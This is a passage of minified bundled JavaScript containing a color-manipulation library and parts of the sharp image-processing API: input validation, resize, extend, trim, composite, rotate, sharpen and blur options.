K}Ck9.forEach((A)=>{I$A[A]={},Object.defineProperty(I$A[A],"channels",{value:uY6[A].channels}),Object.defineProperty(I$A[A],"labels",{value:uY6[A].labels});let K=kk9(A);Object.keys(K).forEach((Y)=>{let z=K[Y];I$A[A][Y]=Rk9(z),I$A[A][Y].raw=Lk9(z)})});Lx4.exports=I$A});var mY1=v((djw,yx4)=>{var S$A=Tx4(),hT=BY6(),Rx4=["keyword","gray","hex"],mY6={};for(let A of Object.keys(hT))mY6[[...hT[A].labels].sort().join("")]=A;var BY1={};function WG(A,K){if(!(this instanceof WG))return new WG(A,K);if(K&&K in Rx4)K=null;if(K&&!(K in hT))throw Error("Unknown model: "+K);let q,Y;if(A==null)this.model="rgb",this.color=[0,0,0],this.valpha=1;else if(A instanceof WG)this.model=A.model,this.color=[...A.color],this.valpha=A.valpha;else if(typeof A==="string"){let z=S$A.get(A);if(z===null)throw Error("Unable to parse color from string: "+A);this.model=z.model,Y=hT[this.model].channels,this.color=z.value.slice(0,Y),this.valpha=typeof z.value[Y]==="number"?z.value[Y]:1}else if(A.length>0){this.model=K||"rgb",Y=hT[this.model].channels;let z=Array.prototype.slice.call(A,0,Y);this.color=gY6(z,Y),this.valpha=typeof A[Y]==="number"?A[Y]:1}else if(typeof A==="number")this.model="rgb",this.color=[A>>16&255,A>>8&255,A&255],this.valpha=1;else{this.valpha=1;let z=Object.keys(A);if("alpha"in A)z.splice(z.indexOf("alpha"),1),this.valpha=typeof A.alpha==="number"?A.alpha:0;let w=z.sort().join("");if(!(w in mY6))throw Error("Unable to parse color from object: "+JSON.stringify(A));this.model=mY6[w];let{labels:H}=hT[this.model],J=[];for(q=0;q<H.length;q++)J.push(A[H[q]]);this.color=gY6(J)}if(BY1[this.model]){Y=hT[this.model].channels;for(q=0;q<Y;q++){let z=BY1[this.model][q];if(z)this.color[q]=z(this.color[q])}}if(this.valpha=Math.max(0,Math.min(1,this.valpha)),Object.freeze)Object.freeze(this)}WG.prototype={toString(){return this.string()},toJSON(){return this[this.model]()},string(A){let K=this.model in S$A.to?this:this.rgb();K=K.round(typeof A==="number"?A:1);let q=K.valpha===1?K.color:[...K.color,this.valpha];return S$A.to[K.model](q)},percentString(A){let K=this.rgb().round(typeof A==="number"?A:1),q=K.valpha===1?K.color:[...K.color,this.valpha];return S$A.to.rgb.percent(q)},array(){return this.valpha===1?[...this.color]:[...this.color,this.valpha]},object(){let A={},{channels:K}=hT[this.model],{labels:q}=hT[this.model];for(let Y=0;Y<K;Y++)A[q[Y]]=this.color[Y];if(this.valpha!==1)A.alpha=this.valpha;return A},unitArray(){let A=this.rgb().color;if(A[0]/=255,A[1]/=255,A[2]/=255,this.valpha!==1)A.push(this.valpha);return A},unitObject(){let A=this.rgb().object();if(A.r/=255,A.g/=255,A.b/=255,this.valpha!==1)A.alpha=this.valpha;return A},round(A){return A=Math.max(A||0,0),new WG([...this.color.map(Ik9(A)),this.valpha],this.model)},alpha(A){if(A!==void 0)return new WG([...this.color,Math.max(0,Math.min(1,A))],this.model);return this.valpha},red:tO("rgb",0,O_(255)),green:tO("rgb",1,O_(255)),blue:tO("rgb",2,O_(255)),hue:tO(["hsl","hsv","hsl","hwb","hcg"],0,(A)=>(A%360+360)%360),saturationl:tO("hsl",1,O_(100)),lightness:tO("hsl",2,O_(100)),saturationv:tO("hsv",1,O_(100)),value:tO("hsv",2,O_(100)),chroma:tO("hcg",1,O_(100)),gray:tO("hcg",2,O_(100)),white:tO("hwb",1,O_(100)),wblack:tO("hwb",2,O_(100)),cyan:tO("cmyk",0,O_(100)),magenta:tO("cmyk",1,O_(100)),yellow:tO("cmyk",2,O_(100)),black:tO("cmyk",3,O_(100)),x:tO("xyz",0,O_(95.047)),y:tO("xyz",1,O_(100)),z:tO("xyz",2,O_(108.833)),l:tO("lab",0,O_(100)),a:tO("lab",1),b:tO("lab",2),keyword(A){if(A!==void 0)return new WG(A);return hT[this.model].keyword(this.color)},hex(A){if(A!==void 0)return new WG(A);return S$A.to.hex(this.rgb().round().color)},hexa(A){if(A!==void 0)return new WG(A);let K=this.rgb().round().color,q=Math.round(this.valpha*255).toString(16).toUpperCase();if(q.length===1)q="0"+q;return S$A.to.hex(K)+q},rgbNumber(){let A=this.rgb().color;return(A[0]&255)<<16|(A[1]&255)<<8|A[2]&255},luminosity(){let A=this.rgb().color,K=[];for(let[q,Y]of A.entries()){let z=Y/255;K[q]=z<=0.04045?z/12.92:((z+0.055)/1.055)**2.4}return 0.2126*K[0]+0.7152*K[1]+0.0722*K[2]},contrast(A){let K=this.luminosity(),q=A.luminosity();if(K>q)return(K+0.05)/(q+0.05);return(q+0.05)/(K+0.05)},level(A){let K=this.contrast(A);if(K>=7)return"AAA";return K>=4.5?"AA":""},isDark(){let A=this.rgb().color;return(A[0]*2126+A[1]*7152+A[2]*722)/1e4<128},isLight(){return!this.isDark()},negate(){let A=this.rgb();for(let K=0;K<3;K++)A.color[K]=255-A.color[K];return A},lighten(A){let K=this.hsl();return K.color[2]+=K.color[2]*A,K},darken(A){let K=this.hsl();return K.color[2]-=K.color[2]*A,K},saturate(A){let K=this.hsl();return K.color[1]+=K.color[1]*A,K},desaturate(A){let K=this.hsl();return K.color[1]-=K.color[1]*A,K},whiten(A){let K=this.hwb();return K.color[1]+=K.color[1]*A,K},blacken(A){let K=this.hwb();return K.color[2]+=K.color[2]*A,K},grayscale(){let A=this.rgb().color,K=A[0]*0.3+A[1]*0.59+A[2]*0.11;return WG.rgb(K,K,K)},fade(A){return this.alpha(this.valpha-this.valpha*A)},opaquer(A){return this.alpha(this.valpha+this.valpha*A)},rotate(A){let K=this.hsl(),q=K.color[0];return q=(q+A)%360,q=q<0?360+q:q,K.color[0]=q,K},mix(A,K){if(!A||!A.rgb)throw Error('Argument to "mix" was not a Color instance, but rather an instance of '+typeof A);let q=A.rgb(),Y=this.rgb(),z=K===void 0?0.5:K,w=2*z-1,H=q.alpha()-Y.alpha(),J=((w*H===-1?w:(w+H)/(1+w*H))+1)/2,O=1-J;return WG.rgb(J*q.red()+O*Y.red(),J*q.green()+O*Y.green(),J*q.blue()+O*Y.blue(),q.alpha()*z+Y.alpha()*(1-z))}};for(let A of Object.keys(hT)){if(Rx4.includes(A))continue;let{channels:K}=hT[A];WG.prototype[A]=function(...q){if(this.model===A)return new WG(this);if(q.length>0)return new WG(q,A);return new WG([...Sk9(hT[this.model][A].raw(this.color)),this.valpha],A)},WG[A]=function(...q){let Y=q[0];if(typeof Y==="number")Y=gY6(q,K);return new WG(Y,A)}}function yk9(A,K){return Number(A.toFixed(K))}function Ik9(A){return function(K){return yk9(K,A)}}function tO(A,K,q){A=Array.isArray(A)?A:[A];for(let Y of A)(BY1[Y]||(BY1[Y]=[]))[K]=q;return A=A[0],function(Y){let z;if(Y!==void 0){if(q)Y=q(Y);return z=this[A](),z.color[K]=Y,z}if(z=this[A]().color[K],q)z=q(z);return z}}function O_(A){return function(K){return Math.max(0,Math.min(A,K))}}function Sk9(A){return Array.isArray(A)?A:[A]}function gY6(A,K){for(let q=0;q<K;q++)if(typeof A[q]!=="number")A[q]=0;return A}yx4.exports=WG});var hx4=v((cjw,Sx4)=>{var hk9=mY1(),n6=ox(),rr=MSA(),bk9={left:"low",center:"centre",centre:"centre",right:"high"};function Ix4(A){let{raw:K,density:q,limitInputPixels:Y,ignoreIcc:z,unlimited:w,sequentialRead:H,failOn:J,failOnError:O,animated:X,page:$,pages:_,subifd:G}=A;return[K,q,Y,z,w,H,J,O,X,$,_,G].some(n6.defined)?{raw:K,density:q,limitInputPixels:Y,ignoreIcc:z,unlimited:w,sequentialRead:H,failOn:J,failOnError:O,animated:X,page:$,pages:_,subifd:G}:void 0}function xk9(A,K,q){let Y={failOn:"warning",limitInputPixels:Math.pow(16383,2),ignoreIcc:!1,unlimited:!1,sequentialRead:!0};if(n6.string(A))Y.file=A;else if(n6.buffer(A)){if(A.length===0)throw Error("Input Buffer is empty");Y.buffer=A}else if(n6.arrayBuffer(A)){if(A.byteLength===0)throw Error("Input bit Array is empty");Y.buffer=Buffer.from(A,0,A.byteLength)}else if(n6.typedArray(A)){if(A.length===0)throw Error("Input Bit Array is empty");Y.buffer=Buffer.from(A.buffer,A.byteOffset,A.byteLength)}else if(n6.plainObject(A)&&!n6.defined(K)){if(K=A,Ix4(K))Y.buffer=[]}else if(!n6.defined(A)&&!n6.defined(K)&&n6.object(q)&&q.allowStream)Y.buffer=[];else throw Error(`Unsupported input '${A}' of type ${typeof A}${n6.defined(K)?` when also providing options of type ${typeof K}`:""}`);if(n6.object(K)){if(n6.defined(K.failOnError))if(n6.bool(K.failOnError))Y.failOn=K.failOnError?"warning":"none";else throw n6.invalidParameterError("failOnError","boolean",K.failOnError);if(n6.defined(K.failOn))if(n6.string(K.failOn)&&n6.inArray(K.failOn,["none","truncated","error","warning"]))Y.failOn=K.failOn;else throw n6.invalidParameterError("failOn","one of: none, truncated, error, warning",K.failOn);if(n6.defined(K.density))if(n6.inRange(K.density,1,1e5))Y.density=K.density;else throw n6.invalidParameterError("density","number between 1 and 100000",K.density);if(n6.defined(K.ignoreIcc))if(n6.bool(K.ignoreIcc))Y.ignoreIcc=K.ignoreIcc;else throw n6.invalidParameterError("ignoreIcc","boolean",K.ignoreIcc);if(n6.defined(K.limitInputPixels))if(n6.bool(K.limitInputPixels))Y.limitInputPixels=K.limitInputPixels?Math.pow(16383,2):0;else if(n6.integer(K.limitInputPixels)&&n6.inRange(K.limitInputPixels,0,Number.MAX_SAFE_INTEGER))Y.limitInputPixels=K.limitInputPixels;else throw n6.invalidParameterError("limitInputPixels","positive integer",K.limitInputPixels);if(n6.defined(K.unlimited))if(n6.bool(K.unlimited))Y.unlimited=K.unlimited;else throw n6.invalidParameterError("unlimited","boolean",K.unlimited);if(n6.defined(K.sequentialRead))if(n6.bool(K.sequentialRead))Y.sequentialRead=K.sequentialRead;else throw n6.invalidParameterError("sequentialRead","boolean",K.sequentialRead);if(n6.defined(K.raw))if(n6.object(K.raw)&&n6.integer(K.raw.width)&&K.raw.width>0&&n6.integer(K.raw.height)&&K.raw.height>0&&n6.integer(K.raw.channels)&&n6.inRange(K.raw.channels,1,4))switch(Y.rawWidth=K.raw.width,Y.rawHeight=K.raw.height,Y.rawChannels=K.raw.channels,Y.rawPremultiplied=!!K.raw.premultiplied,A.constructor){case Uint8Array:case Uint8ClampedArray:Y.rawDepth="uchar";break;case Int8Array:Y.rawDepth="char";break;case Uint16Array:Y.rawDepth="ushort";break;case Int16Array:Y.rawDepth="short";break;case Uint32Array:Y.rawDepth="uint";break;case Int32Array:Y.rawDepth="int";break;case Float32Array:Y.rawDepth="float";break;case Float64Array:Y.rawDepth="double";break;default:Y.rawDepth="uchar";break}else throw Error("Expected width, height and channels for raw pixel input");if(n6.defined(K.animated))if(n6.bool(K.animated))Y.pages=K.animated?-1:1;else throw n6.invalidParameterError("animated","boolean",K.animated);if(n6.defined(K.pages))if(n6.integer(K.pages)&&n6.inRange(K.pages,-1,1e5))Y.pages=K.pages;else throw n6.invalidParameterError("pages","integer between -1 and 100000",K.pages);if(n6.defined(K.page))if(n6.integer(K.page)&&n6.inRange(K.page,0,1e5))Y.page=K.page;else throw n6.invalidParameterError("page","integer between 0 and 100000",K.page);if(n6.defined(K.level))if(n6.integer(K.level)&&n6.inRange(K.level,0,256))Y.level=K.level;else throw n6.invalidParameterError("level","integer between 0 and 256",K.level);if(n6.defined(K.subifd))if(n6.integer(K.subifd)&&n6.inRange(K.subifd,-1,1e5))Y.subifd=K.subifd;else throw n6.invalidParameterError("subifd","integer between -1 and 100000",K.subifd);if(n6.defined(K.create))if(n6.object(K.create)&&n6.integer(K.create.width)&&K.create.width>0&&n6.integer(K.create.height)&&K.create.height>0&&n6.integer(K.create.channels)){if(Y.createWidth=K.create.width,Y.createHeight=K.create.height,Y.createChannels=K.create.channels,n6.defined(K.create.noise)){if(!n6.object(K.create.noise))throw Error("Expected noise to be an object");if(!n6.inArray(K.create.noise.type,["gaussian"]))throw Error("Only gaussian noise is supported at the moment");if(!n6.inRange(K.create.channels,1,4))throw n6.invalidParameterError("create.channels","number between 1 and 4",K.create.channels);if(Y.createNoiseType=K.create.noise.type,n6.number(K.create.noise.mean)&&n6.inRange(K.create.noise.mean,0,1e4))Y.createNoiseMean=K.create.noise.mean;else throw n6.invalidParameterError("create.noise.mean","number between 0 and 10000",K.create.noise.mean);if(n6.number(K.create.noise.sigma)&&n6.inRange(K.create.noise.sigma,0,1e4))Y.createNoiseSigma=K.create.noise.sigma;else throw n6.invalidParameterError("create.noise.sigma","number between 0 and 10000",K.create.noise.sigma)}else if(n6.defined(K.create.background)){if(!n6.inRange(K.create.channels,3,4))throw n6.invalidParameterError("create.channels","number between 3 and 4",K.create.channels);let z=hk9(K.create.background);Y.createBackground=[z.red(),z.green(),z.blue(),Math.round(z.alpha()*255)]}else throw Error("Expected valid noise or background to create a new input image");delete Y.buffer}else throw Error("Expected valid width, height and channels to create a new input image");if(n6.defined(K.text))if(n6.object(K.text)&&n6.string(K.text.text)){if(Y.textValue=K.text.text,n6.defined(K.text.height)&&n6.defined(K.text.dpi))throw Error("Expected only one of dpi or height");if(n6.defined(K.text.font))if(n6.string(K.text.font))Y.textFont=K.text.font;else throw n6.invalidParameterError("text.font","string",K.text.font);if(n6.defined(K.text.fontfile))if(n6.string(K.text.fontfile))Y.textFontfile=K.text.fontfile;else throw n6.invalidParameterError("text.fontfile","string",K.text.fontfile);if(n6.defined(K.text.width))if(n6.integer(K.text.width)&&K.text.width>0)Y.textWidth=K.text.width;else throw n6.invalidParameterError("text.width","positive integer",K.text.width);if(n6.defined(K.text.height))if(n6.integer(K.text.height)&&K.text.height>0)Y.textHeight=K.text.height;else throw n6.invalidParameterError("text.height","positive integer",K.text.height);if(n6.defined(K.text.align))if(n6.string(K.text.align)&&n6.string(this.constructor.align[K.text.align]))Y.textAlign=this.constructor.align[K.text.align];else throw n6.invalidParameterError("text.align","valid alignment",K.text.align);if(n6.defined(K.text.justify))if(n6.bool(K.text.justify))Y.textJustify=K.text.justify;else throw n6.invalidParameterError("text.justify","boolean",K.text.justify);if(n6.defined(K.text.dpi))if(n6.integer(K.text.dpi)&&n6.inRange(K.text.dpi,1,1e6))Y.textDpi=K.text.dpi;else throw n6.invalidParameterError("text.dpi","integer between 1 and 1000000",K.text.dpi);if(n6.defined(K.text.rgba))if(n6.bool(K.text.rgba))Y.textRgba=K.text.rgba;else throw n6.invalidParameterError("text.rgba","bool",K.text.rgba);if(n6.defined(K.text.spacing))if(n6.integer(K.text.spacing)&&n6.inRange(K.text.spacing,-1e6,1e6))Y.textSpacing=K.text.spacing;else throw n6.invalidParameterError("text.spacing","integer between -1000000 and 1000000",K.text.spacing);if(n6.defined(K.text.wrap))if(n6.string(K.text.wrap)&&n6.inArray(K.text.wrap,["word","char","word-char","none"]))Y.textWrap=K.text.wrap;else throw n6.invalidParameterError("text.wrap","one of: word, char, word-char, none",K.text.wrap);delete Y.buffer}else throw Error("Expected a valid string to create an image with text.")}else if(n6.defined(K))throw Error("Invalid input options "+K);return Y}function uk9(A,K,q){if(Array.isArray(this.options.input.buffer))if(n6.buffer(A)){if(this.options.input.buffer.length===0)this.on("finish",()=>{this.streamInFinished=!0});this.options.input.buffer.push(A),q()}else q(Error("Non-Buffer data on Writable Stream"));else q(Error("Unexpected data on Writable Stream"))}function Bk9(){if(this._isStreamInput())this.options.input.buffer=Buffer.concat(this.options.input.buffer)}function mk9(){return Array.isArray(this.options.input.buffer)}function gk9(A){let K=Error();if(n6.fn(A)){if(this._isStreamInput())this.on("finish",()=>{this._flattenBufferIn(),rr.metadata(this.options,(q,Y)=>{if(q)A(n6.nativeError(q,K));else A(null,Y)})});else rr.metadata(this.options,(q,Y)=>{if(q)A(n6.nativeError(q,K));else A(null,Y)});return this}else if(this._isStreamInput())return new Promise((q,Y)=>{let z=()=>{this._flattenBufferIn(),rr.metadata(this.options,(w,H)=>{if(w)Y(n6.nativeError(w,K));else q(H)})};if(this.writableFinished)z();else this.once("finish",z)});else return new Promise((q,Y)=>{rr.metadata(this.options,(z,w)=>{if(z)Y(n6.nativeError(z,K));else q(w)})})}function Fk9(A){let K=Error();if(n6.fn(A)){if(this._isStreamInput())this.on("finish",()=>{this._flattenBufferIn(),rr.stats(this.options,(q,Y)=>{if(q)A(n6.nativeError(q,K));else A(null,Y)})});else rr.stats(this.options,(q,Y)=>{if(q)A(n6.nativeError(q,K));else A(null,Y)});return this}else if(this._isStreamInput())return new Promise((q,Y)=>{this.on("finish",function(){this._flattenBufferIn(),rr.stats(this.options,(z,w)=>{if(z)Y(n6.nativeError(z,K));else q(w)})})});else return new Promise((q,Y)=>{rr.stats(this.options,(z,w)=>{if(z)Y(n6.nativeError(z,K));else q(w)})})}Sx4.exports=function(A){Object.assign(A.prototype,{_inputOptionsFromObject:Ix4,_createInputDescriptor:xk9,_write:uk9,_flattenBufferIn:Bk9,_isStreamInput:mk9,metadata:gk9,stats:Fk9}),A.align=bk9}});var gx4=v((ljw,mx4)=>{var NK=ox(),xx4={center:0,centre:0,north:1,east:2,south:3,west:4,northeast:5,southeast:6,southwest:7,northwest:8},ux4={top:1,right:2,bottom:3,left:4,"right top":5,"right bottom":6,"left bottom":7,"left top":8},bx4={background:"background",copy:"copy",repeat:"repeat",mirror:"mirror"},Bx4={entropy:16,attention:17},FY6={nearest:"nearest",linear:"linear",cubic:"cubic",mitchell:"mitchell",lanczos2:"lanczos2",lanczos3:"lanczos3"},Qk9={contain:"contain",cover:"cover",fill:"fill",inside:"inside",outside:"outside"},Uk9={contain:"embed",cover:"crop",fill:"ignore_aspect",inside:"max",outside:"min"};function QY6(A){return A.angle%360!==0||A.useExifOrientation===!0||A.rotationAngle!==0}function gY1(A){return A.width!==-1||A.height!==-1}function pk9(A,K,q){if(gY1(this.options))this.options.debuglog("ignoring previous resize options");if(this.options.widthPost!==-1)this.options.debuglog("operation order will be: extract, resize, extract");if(NK.defined(A))if(NK.object(A)&&!NK.defined(q))q=A;else if(NK.integer(A)&&A>0)this.options.width=A;else throw NK.invalidParameterError("width","positive integer",A);else this.options.width=-1;if(NK.defined(K))if(NK.integer(K)&&K>0)this.options.height=K;else throw NK.invalidParameterError("height","positive integer",K);else this.options.height=-1;if(NK.object(q)){if(NK.defined(q.width))if(NK.integer(q.width)&&q.width>0)this.options.width=q.width;else throw NK.invalidParameterError("width","positive integer",q.width);if(NK.defined(q.height))if(NK.integer(q.height)&&q.height>0)this.options.height=q.height;else throw NK.invalidParameterError("height","positive integer",q.height);if(NK.defined(q.fit)){let Y=Uk9[q.fit];if(NK.string(Y))this.options.canvas=Y;else throw NK.invalidParameterError("fit","valid fit",q.fit)}if(NK.defined(q.position)){let Y=NK.integer(q.position)?q.position:Bx4[q.position]||ux4[q.position]||xx4[q.position];if(NK.integer(Y)&&(NK.inRange(Y,0,8)||NK.inRange(Y,16,17)))this.options.position=Y;else throw NK.invalidParameterError("position","valid position/gravity/strategy",q.position)}if(this._setBackgroundColourOption("resizeBackground",q.background),NK.defined(q.kernel))if(NK.string(FY6[q.kernel]))this.options.kernel=FY6[q.kernel];else throw NK.invalidParameterError("kernel","valid kernel name",q.kernel);if(NK.defined(q.withoutEnlargement))this._setBooleanOption("withoutEnlargement",q.withoutEnlargement);if(NK.defined(q.withoutReduction))this._setBooleanOption("withoutReduction",q.withoutReduction);if(NK.defined(q.fastShrinkOnLoad))this._setBooleanOption("fastShrinkOnLoad",q.fastShrinkOnLoad)}if(QY6(this.options)&&gY1(this.options))this.options.rotateBeforePreExtract=!0;return this}function dk9(A){if(NK.integer(A)&&A>0)this.options.extendTop=A,this.options.extendBottom=A,this.options.extendLeft=A,this.options.extendRight=A;else if(NK.object(A)){if(NK.defined(A.top))if(NK.integer(A.top)&&A.top>=0)this.options.extendTop=A.top;else throw NK.invalidParameterError("top","positive integer",A.top);if(NK.defined(A.bottom))if(NK.integer(A.bottom)&&A.bottom>=0)this.options.extendBottom=A.bottom;else throw NK.invalidParameterError("bottom","positive integer",A.bottom);if(NK.defined(A.left))if(NK.integer(A.left)&&A.left>=0)this.options.extendLeft=A.left;else throw NK.invalidParameterError("left","positive integer",A.left);if(NK.defined(A.right))if(NK.integer(A.right)&&A.right>=0)this.options.extendRight=A.right;else throw NK.invalidParameterError("right","positive integer",A.right);if(this._setBackgroundColourOption("extendBackground",A.background),NK.defined(A.extendWith))if(NK.string(bx4[A.extendWith]))this.options.extendWith=bx4[A.extendWith];else throw NK.invalidParameterError("extendWith","one of: background, copy, repeat, mirror",A.extendWith)}else throw NK.invalidParameterError("extend","integer or object",A);return this}function ck9(A){let K=gY1(this.options)||this.options.widthPre!==-1?"Post":"Pre";if(this.options[`width${K}`]!==-1)this.options.debuglog("ignoring previous extract options");if(["left","top","width","height"].forEach(function(q){let Y=A[q];if(NK.integer(Y)&&Y>=0)this.options[q+(q==="left"||q==="top"?"Offset":"")+K]=Y;else throw NK.invalidParameterError(q,"integer",Y)},this),QY6(this.options)&&!gY1(this.options)){if(this.options.widthPre===-1||this.options.widthPost===-1)this.options.rotateBeforePreExtract=!0}return this}function lk9(A){if(this.options.trimThreshold=10,NK.defined(A))if(NK.object(A)){if(NK.defined(A.background))this._setBackgroundColourOption("trimBackground",A.background);if(NK.defined(A.threshold))if(NK.number(A.threshold)&&A.threshold>=0)this.options.trimThreshold=A.threshold;else throw NK.invalidParameterError("threshold","positive number",A.threshold);if(NK.defined(A.lineArt))this._setBooleanOption("trimLineArt",A.lineArt)}else throw NK.invalidParameterError("trim","object",A);if(QY6(this.options))this.options.rotateBeforePreExtract=!0;return this}mx4.exports=function(A){Object.assign(A.prototype,{resize:pk9,extend:dk9,extract:ck9,trim:lk9}),A.gravity=xx4,A.strategy=Bx4,A.kernel=FY6,A.fit=Qk9,A.position=ux4}});var Qx4=v((ijw,Fx4)=>{var lz=ox(),UY6={clear:"clear",source:"source",over:"over",in:"in",out:"out",atop:"atop",dest:"dest","dest-over":"dest-over","dest-in":"dest-in","dest-out":"dest-out","dest-atop":"dest-atop",xor:"xor",add:"add",saturate:"saturate",multiply:"multiply",screen:"screen",overlay:"overlay",darken:"darken",lighten:"lighten","colour-dodge":"colour-dodge","color-dodge":"colour-dodge","colour-burn":"colour-burn","color-burn":"colour-burn","hard-light":"hard-light","soft-light":"soft-light",difference:"difference",exclusion:"exclusion"};function ik9(A){if(!Array.isArray(A))throw lz.invalidParameterError("images to composite","array",A);return this.options.composite=A.map((K)=>{if(!lz.object(K))throw lz.invalidParameterError("image to composite","object",K);let q=this._inputOptionsFromObject(K),Y={input:this._createInputDescriptor(K.input,q,{allowStream:!1}),blend:"over",tile:!1,left:0,top:0,hasOffset:!1,gravity:0,premultiplied:!1};if(lz.defined(K.blend))if(lz.string(UY6[K.blend]))Y.blend=UY6[K.blend];else throw lz.invalidParameterError("blend","valid blend name",K.blend);if(lz.defined(K.tile))if(lz.bool(K.tile))Y.tile=K.tile;else throw lz.invalidParameterError("tile","boolean",K.tile);if(lz.defined(K.left))if(lz.integer(K.left))Y.left=K.left;else throw lz.invalidParameterError("left","integer",K.left);if(lz.defined(K.top))if(lz.integer(K.top))Y.top=K.top;else throw lz.invalidParameterError("top","integer",K.top);if(lz.defined(K.top)!==lz.defined(K.left))throw Error("Expected both left and top to be set");else Y.hasOffset=lz.integer(K.top)&&lz.integer(K.left);if(lz.defined(K.gravity))if(lz.integer(K.gravity)&&lz.inRange(K.gravity,0,8))Y.gravity=K.gravity;else if(lz.string(K.gravity)&&lz.integer(this.constructor.gravity[K.gravity]))Y.gravity=this.constructor.gravity[K.gravity];else throw lz.invalidParameterError("gravity","valid gravity",K.gravity);if(lz.defined(K.premultiplied))if(lz.bool(K.premultiplied))Y.premultiplied=K.premultiplied;else throw lz.invalidParameterError("premultiplied","boolean",K.premultiplied);return Y}),this}Fx4.exports=function(A){A.prototype.composite=ik9,A.blend=UY6}});var dx4=v((njw,px4)=>{var nk9=mY1(),v6=ox(),Ux4={integer:"integer",float:"float",approximate:"approximate"};function rk9(A,K){if(this.options.useExifOrientation||this.options.angle||this.options.rotationAngle)this.options.debuglog("ignoring previous rotate options");if(!v6.defined(A))this.options.useExifOrientation=!0;else if(v6.integer(A)&&!(A%90))this.options.angle=A;else if(v6.number(A)){if(this.options.rotationAngle=A,v6.object(K)&&K.background){let q=nk9(K.background);this.options.rotationBackground=[q.red(),q.green(),q.blue(),Math.round(q.alpha()*255)]}}else throw v6.invalidParameterError("angle","numeric",A);return this}function ok9(A){return this.options.flip=v6.bool(A)?A:!0,this}function ak9(A){return this.options.flop=v6.bool(A)?A:!0,this}function sk9(A,K){let q=[].concat(...A);if(q.length===4&&q.every(v6.number))this.options.affineMatrix=q;else throw v6.invalidParameterError("matrix","1x4 or 2x2 array",A);if(v6.defined(K))if(v6.object(K)){if(this._setBackgroundColourOption("affineBackground",K.background),v6.defined(K.idx))if(v6.number(K.idx))this.options.affineIdx=K.idx;else throw v6.invalidParameterError("options.idx","number",K.idx);if(v6.defined(K.idy))if(v6.number(K.idy))this.options.affineIdy=K.idy;else throw v6.invalidParameterError("options.idy","number",K.idy);if(v6.defined(K.odx))if(v6.number(K.odx))this.options.affineOdx=K.odx;else throw v6.invalidParameterError("options.odx","number",K.odx);if(v6.defined(K.ody))if(v6.number(K.ody))this.options.affineOdy=K.ody;else throw v6.invalidParameterError("options.ody","number",K.ody);if(v6.defined(K.interpolator))if(v6.inArray(K.interpolator,Object.values(this.constructor.interpolators)))this.options.affineInterpolator=K.interpolator;else throw v6.invalidParameterError("options.interpolator","valid interpolator name",K.interpolator)}else throw v6.invalidParameterError("options","object",K);return this}function tk9(A,K,q){if(!v6.defined(A))this.options.sharpenSigma=-1;else if(v6.bool(A))this.options.sharpenSigma=A?-1:0;else if(v6.number(A)&&v6.inRange(A,0.01,1e4)){if(this.options.sharpenSigma=A,v6.defined(K))if(v6.number(K)&&v6.inRange(K,0,1e4))this.options.sharpenM1=K;else throw v6.invalidParameterError("flat","number between 0 and 10000",K);if(v6.defined(q))if(v6.number(q)&&v6.inRange(q,0,1e4))this.options.sharpenM2=q;else throw v6.invalidParameterError("jagged","number between 0 and 10000",q)}else if(v6.plainObject(A)){if(v6.number(A.sigma)&&v6.inRange(A.sigma,0.000001,10))this.options.sharpenSigma=A.sigma;else throw v6.invalidParameterError("options.sigma","number between 0.000001 and 10",A.sigma);if(v6.defined(A.m1))if(v6.number(A.m1)&&v6.inRange(A.m1,0,1e6))this.options.sharpenM1=A.m1;else throw v6.invalidParameterError("options.m1","number between 0 and 1000000",A.m1);if(v6.defined(A.m2))if(v6.number(A.m2)&&v6.inRange(A.m2,0,1e6))this.options.sharpenM2=A.m2;else throw v6.invalidParameterError("options.m2","number between 0 and 1000000",A.m2);if(v6.defined(A.x1))if(v6.number(A.x1)&&v6.inRange(A.x1,0,1e6))this.options.sharpenX1=A.x1;else throw v6.invalidParameterError("options.x1","number between 0 and 1000000",A.x1);if(v6.defined(A.y2))if(v6.number(A.y2)&&v6.inRange(A.y2,0,1e6))this.options.sharpenY2=A.y2;else throw v6.invalidParameterError("options.y2","number between 0 and 1000000",A.y2);if(v6.defined(A.y3))if(v6.number(A.y3)&&v6.inRange(A.y3,0,1e6))this.options.sharpenY3=A.y3;else throw v6.invalidParameterError("options.y3","number between 0 and 1000000",A.y3)}else throw v6.invalidParameterError("sigma","number between 0.01 and 10000",A);return this}function ek9(A){if(!v6.defined(A))this.options.medianSize=3;else if(v6.integer(A)&&v6.inRange(A,1,1000))this.options.medianSize=A;else throw v6.invalidParameterError("size","integer between 1 and 1000",A);return this}function AC9(A){let K;if(v6.number(A))K=A;else if(v6.plainObject(A)){if(!v6.number(A.sigma))throw v6.invalidParameterError("options.sigma","number between 0.3 and 1000",K);if(K=A.sigma,"precision"in A)if(v6.string(Ux4[A.precision]))this.options.precision=Ux4[A.precision];else throw v6.invalidParameterError("precision","one of: integer, float, approximate",A.precision);if("minAmplitude"in A)if(v6.number(A.minAmplitude)&&v6.inRange(A.minAmplitude,0.001,1))this.options.minAmpl=A.minAmplitude;else throw v6.invalidParameterError("minAmplitude","number between 0.001 and 1",A.minAmplitude)}if(!v6.defined(A))this.options.blurSigma=-1;else if(v6.bool(A))this.options.blurSigma=A?-1:0;else if(v6.number(K)&&v6.inRange(K,0.3,1000))this.options.blurSigma=K;else throw v6.invalidParameterError("sigma","number between 0.3 and 1000",K);return this}function KC9(A){if(this.options.flatten=v6.bool(A)?A:!0,v6.object(A))this._setBackgroundColourOption("flattenBackground",A.background);return this}function qC9(){return this.options.unflatten=!0,this}function YC9(A,K){if(!v6.defined(A))this.options.gamma=2.2;else if(v6.number(A)&&v6.inRange(A,1,3))this.options.gamma=A;else throw v6.invalidParameterError("gamma","number between 1.0 and 3.0",A);if(!v6.defined(K))this.options.gammaOut=this.options.gamma;else if(v6.number(K)&&v6.inRange(K,1,3))this.options.gammaOut=K;else throw v6.invalidParameterError("gammaOut","number between 1.0 and 3.0",K);return this}function zC9(A){if(this.options.negate=v6.bool(A)?A:!0,v6.plainObject(A)&&"alpha"in A)if(!v6.bool(A.alpha))throw v6.invalidParameterError("alpha","should be boolean value",A.alpha);else this.options.negateAlpha=A.alpha;return this}function wC9(A){if(v6.plainObject(A)){if(v6.defined(A.lower))if(v6.number(A.lower)&&v6.inRange(A.lower,0,99))this.options.normaliseLower=A.lower;else throw v6.invalidParameterError("lower","number between 0 and 99",A.lower);if(v6.defined(A.upper))if(v6.number(A.upper)&&v6.inRange(A.upper,1,100))this.options.normaliseUpper=A.upper;else throw v6.invalidParameterError("upper","number between 1 and 100",A.upper)}if(this.options.normaliseLower>=this.options.normaliseUpper)throw 